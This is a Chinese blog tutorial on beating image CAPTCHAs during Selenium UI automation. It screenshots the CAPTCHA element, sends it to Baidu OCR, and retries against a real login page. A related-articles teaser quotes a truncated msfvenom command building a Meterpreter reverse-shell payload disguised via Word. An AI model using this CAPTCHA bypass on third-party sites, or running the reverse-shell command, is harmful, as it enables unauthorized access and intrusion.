Selenium获取动态图片验证码

关于图片验证码的文章,我想大家都有一定的了解了。

在我们做UI自动化的时候,经常会遇到图片验证码的问题。

当开发不给咱们提供万能验证码,或者测试第三方网站比如知乎的时候,我们就需要自己去识别验证码

OCR

OCR是一种图像文字识别的技术,例如图中的验证码,我们用肉眼识别就是c5s3,但机器可不比咱们肉眼。所以我们要利用ocr技术,让我们的Python脚本自动通过图片识别出对应的文字

常见的识别类库

在Python中其实有许多识别类库,这里只介绍博主自己实践过的成功率还不错的: 百度ocr

简单的说,就是百度提供了一个SDK,让我们传入图片数据,从而拿到识别的结果。ocr的细节我们不需要关心。

申请开通OCR

首先我们得有一个百度账号,这个相信大家都有,没有的可以申请一个。

  • 创建应用

  • 填写相关应用信息

创建好了之后可以看到具体的应用信息,记住这3个关键信息。待会会用到。

  • appid
  • apikey
  • secret key

熟悉OCR文档

官方文档地址: https://cloud.baidu.com/doc/OCR/s/wkibizyjk

文档会写的比较清楚,简单的说就是通过你的appid,api key和secret key获取一个client,接着你就可以调用client的api去获取图片中的文字了。官方的SDK还是比较贴心的。

  • 安装SDK
pip install baidu-aip

讲完了文字怎么识别,接着就来说说标题中的动态图片验证码

动态图片验证码

这个概念是我自己命名的,一般来说,我们的一张图片都是对应唯一一个url的,比如:

https://yuque.com?image=dshqadiau

(这个地址是我编的)

一般来说image字段的值不同,图片也就不同,都是一串随机的或者规律的不重复数据,确保图片不会重复

但是博主最近遇到了这样一种情况:

输入一个url,每次输入,拿到的图片都不一样。

这样就会带来一个很严重的问题,页面上你虽然读取了图片的信息。我们把图片的url传递给百度sdk的时候,url由于再次调用,导致图片发生了变化。

比如网站上显示的是: c5s3,调用百度sdk的时候,百度会通过url读取图片,但再次读取,图片可能变成了lfew

不信大家可以看看这个图片地址:

怎么解决呢?

好在百度sdk,他不仅仅支持url,还支持图片文件和base64的图片数据。我们看看官方文档:

再回到Selenium里面,我们怎么才能获取到验证码那张图片呢?

思考一下:

  1. 读取img标签的src,然后下载图片,保存图片文件再转为base64

很显然这个方法行不通,为什么呢?

因为img的src属性就是刚才这个url,你去获取一遍url,它同样会变化。

  1. 截图,裁剪出验证码部分,扔给百度去识别

可行是可行,但是会不会太复杂了??

如果我只对验证码的img元素进行截图,生成base64的数据是不是更方便?

其实呢,selenium作为一款老牌的自动化测试工具,很多方法供大于求了。所以它是有这样的功能的!

Selenium对指定区域截图

我们都知道,selenium有一些截图方法。

driver.get_screenshot_as_file(filename)

但其实,针对元素,也是有截图方法的。

伪代码如下:

# 通过id获取到图片
img = driver.find_element_by_id("image")
# 调用WebElement的screenshot_as_png属性方法,获取到png的数据,因为百度需要png
data = img.screenshot_as_png

接着我们就可以用这个获取到的图片数据去找百度要答案了!

完整版代码:

from aip import AipOcr
from selenium import webdriver client = AipOcr("你的appid", "你的app_key", "你的secret_key")
driver = webdriver.Chrome()
driver.get("https://iam.pt.ouchn.cn/am/UI/Login")
img = driver.find_element_by_id("kaptchaImage")
data = img.screenshot_as_png res = client.basicGeneral(data, {})
print(res)

可以看到,只识别到了CFX,而且图片没有继续变化了。

毕竟文字识别是从图片里面找文字,而且文字会有一些横线这样的干扰,所以如果一次不行,可以多试几次。

思路就是写一个while循环,不断尝试去识别验证码并登录,接着判断是否登录成功,没成功则重复上一个步骤

以我个人的经验,一般1-10次就可以成功。

好了,以上是博主简单替大家尝试一下UI自动化过程中对于验证码的识别。主要重点在于验证码的识别和对部分区域截图。

有兴趣的同学可以联系博主探讨哦。上一篇给点工们的进阶教程好像漏发了一些人,这里补发一下,希望大家都能够取得进步!~

点工怎么打怪升级为测开(记得收藏,看过的都赚到了)

Selenium获取动态图片验证码的更多相关文章

  1. Python网络爬虫笔记(四):使用selenium获取动态加载的内容

    (一)  说明 上一篇只能下载一页的数据,第2.3.4....100页的数据没法获取,在上一篇的基础上修改了下,使用selenium去获取所有页的href属性值. 使用selenium去模拟浏览器有点 ...

  2. python+pymssql+selenium 获取短信验证码登录(实战练习)

    登录页面输入手机号, 获取短信验证码(验证码有10分钟有效期) 1 连接sql server数据库,获取10分钟之内的有效短信验证码 2 页面输入手机号,并获取验证码.若存在有效验证码则输入验证码,若 ...

  3. PHP生成GIF动态图片验证码

    <?php /** * 调用示例 * */ session_start(); $randCode = ''; //验证码随机 $str="abcdefghjkmnpqrstuvwsyz ...

  4. Selenium 获取动态js的网页

    Selenium基于webkit实现爬虫功能 http://www.cnblogs.com/luxiaojun/p/6144748.html https://www.cnblogs.com/chenq ...

  5. 在python使用selenium获取动态网页信息并用BeautifulSoup进行解析--动态网页爬虫

    爬虫抓取数据时有些数据是动态数据,例如是用js动态加载的,使用普通的urllib2 抓取数据是找不到相关数据的,这是爬虫初学者在使用的过程中,最容易发生的情况,明明在浏览器里有相应的信息,但是在pyt ...

  6. selenium获取动态网页信息(某东)-具体配置信息

    需要安装的包: selenium 关于软件的驱动:selenium之 驱动环境配置chrome.firefox.IE 1 # encoding:utf-8 2 # Author:"richi ...

  7. vue获取后台图片验证码,并点击刷新验证码

    <--url为需要访问的接口地址--> <span style="display: inline-block;width: 130px;height: 53px;borde ...

  8. 字符型图片验证码识别完整过程及Python实现

    字符型图片验证码识别完整过程及Python实现 1   摘要 验证码是目前互联网上非常常见也是非常重要的一个事物,充当着很多系统的 防火墙 功能,但是随时OCR技术的发展,验证码暴露出来的安全问题也越 ...

  9. 字符识别Python实现 图片验证码识别

    字符型图片验证码识别完整过程及Python实现 1   摘要 验证码是目前互联网上非常常见也是非常重要的一个事物,充当着很多系统的 防火墙 功能,但是随时OCR技术的发展,验证码暴露出来的安全问题也越 ...

随机推荐

  1. 判断IE浏览器版本

    //判断IE浏览器版本 function IEVersion() { var userAgent = navigator.userAgent; //取得浏览器的userAgent字符串 var isI ...

  2. Java XXE漏洞典型场景分析

    本文首发于oppo安全应急响应中心: https://mp.weixin.qq.com/s?__biz=MzUyNzc4Mzk3MQ==&mid=2247485488&idx=1&am ...

  3. Powershell配合word伪装木马执行

    环境: win7 64位,word2013 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPOR ...

  4. 【第一篇】- Maven 系列教程之Spring Cloud直播商城 b2b2c电子商务技术总结

    Maven 教程 Maven 翻译为"专家"."内行",是 Apache 下的一个纯 Java 开发的开源项目.基于项目对象模型(缩写:POM)概念,Maven ...

  5. 使用Java MVC模式设计一个学生管理系统

    最近在做web实验,要求是用jsp+servlet+mysql实现一个学生管理系统,完成对数据库的增删改查. 效果图:   代码: package dao; import java.util.List ...

  6. 1.24学习总结——HTML常见标签

    HTML 标签简写及全称 下表列出了 HTML 标签简写及全称: 标签 英文全称 中文说明 a Anchor 锚 abbr Abbreviation 缩写词 acronym Acronym 取首字母的 ...

  7. 一、java基础补充

    1.java执行流程 源文件由编译器编译成字节码(ByteCode),也就是.class文件 字节码由java虚拟机解释运行 通过命令行操作java程序: javac test.java java t ...

  8. Docker入门系列之二:Docker术语

    原文作者:Jeff Hale 原文地址:https://towardsdatascience.com/learn-enough-docker-to-be-useful-1c40ea269fa8 翻译: ...

  9. PHP设计模式之状态模式

    状态模式从字面上其实并不是很好理解.这里的状态是什么意思呢?保存状态?那不就是备忘录模式了.其实,这里的状态是类的状态,通过改变类的某个状态,让这个类感觉像是换了一个类一样.说起来有点拗口吧,先学习概 ...

  10. phpstrom 在smarty 中tpl模版注释怎么修改?

    {*<div class="col-sm-10">*} phpstorm注释tpl文件代码为上面,但是这个不符合本框架的注释方式,会报错,需要调整为: <!-- ...